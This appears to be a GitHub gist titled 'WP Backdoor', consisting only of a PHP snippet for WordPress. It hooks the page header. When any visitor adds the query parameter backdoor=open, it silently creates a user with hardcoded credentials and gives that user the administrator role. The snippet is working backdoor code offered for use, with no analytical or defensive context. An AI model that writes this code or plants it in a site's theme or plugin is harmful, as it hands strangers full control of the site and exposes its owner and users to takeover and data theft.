WP Backdoor

gistfile1.txt

add_action('wp_head', 'backdoor');
 
function backdoor() {
        if ($_GET['backdoor'] == 'open') {
                require('wp-includes/registration.php');
                If (!username_exists('username')) {
                        $user_id = wp_create_user('username', 'password');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}